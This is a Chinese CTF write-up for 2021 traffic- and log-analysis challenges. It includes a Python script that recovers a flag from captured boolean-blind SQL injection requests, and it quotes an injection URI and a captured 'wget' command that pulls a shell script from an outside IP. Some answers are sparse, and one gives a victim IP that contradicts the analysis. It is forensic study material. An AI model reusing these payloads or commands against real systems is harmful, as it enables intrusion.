[鹤城杯 2021]流量分析
<--第一道流量分析不难,主要就是布尔盲注的流量包分析,直接查看http请求包即可我们可以通过观察看到注入成功的响应长度不同,这里成功的为978字节,失败的994字节.不要问为什么.其实也可以直接判断.978的流量比994的少了非常多 显然就是成功的(因为这里是获取ASCII码.所以判断成功的流量肯定更少)
所以我们只需要提取出这一部分成功的流量出来进行分析即可-->
<--使用过滤语法 frame.len == 978 过滤长度为978的包 然后导出为文本一定要先过滤再导出 不然就会把全部的导出-->
运行脚本:
import re
#Request URI: http://192.168.246.1/ctf/Less-5/?id=1'%20and%20ascii(substr((select%20flag%20#from%20t),1,1))=102--+
nums = []
obj1 = re.compile(r"1\)\)=(?P<num1>.*)\b",re.S)#开启贪婪模式匹配这里一定要使用.*贪婪模式 如果用.*?可能匹配失败 \b代表结尾
def getAscii():
with open("re.txt", "r", encoding="utf-8") as f:
for line in f.readlines():
line = line.strip()
result = obj1.finditer(line)
for it in result:
num = it.group("num1")
nums.append(num)
def getflag():
flag = ""
for i in nums:
i = chr(int(i))
flag = flag + i
print(flag)
if __name__ == '__main__':
getAscii()
getflag()
[陇剑杯 2021]流量分析(问1)
[陇剑杯 2021]流量分析(问2)
[陇剑杯 2021]流量分析(问3)
操作内容:
分析pcap流量包,主机ip应该是172.18.0.1,可以看到很多UDP协议的包。在看包内容的时候,注意到UDP包头都是P05=,而且有的是有base64,也有乱码的包。P05=后面都是00 00 00 00和01 00 00 00,其中00的长度是32、01的长度是16,可能是认证。
根据长度为16猜测可能是aes,用长度16的base64(即P05=后面是01 00 00 00的)作为aes key解密发现解密成功了,02 00 00 00对应的包里面都有一个可见字符,其中受害IP172.18.0.125有命令:wget http://147.182.251.98/d.sh;所以第一问为127.18.0.125,第二问密钥就是18217号包里的DtX0GScM9dwrgZht,第三问ip即为147.182.251.98(udp.stream eq 85)
[陇剑杯 2021]日志分析(问1)
[陇剑杯 2021]日志分析(问2)
[陇剑杯 2021]日志分析(问3)
这里我们直接搜索返回状态为200的流量,发现www.zip
直接查找tmp即可看到。
同样的,在目录穿越反序列化的时候,已经显示出来了。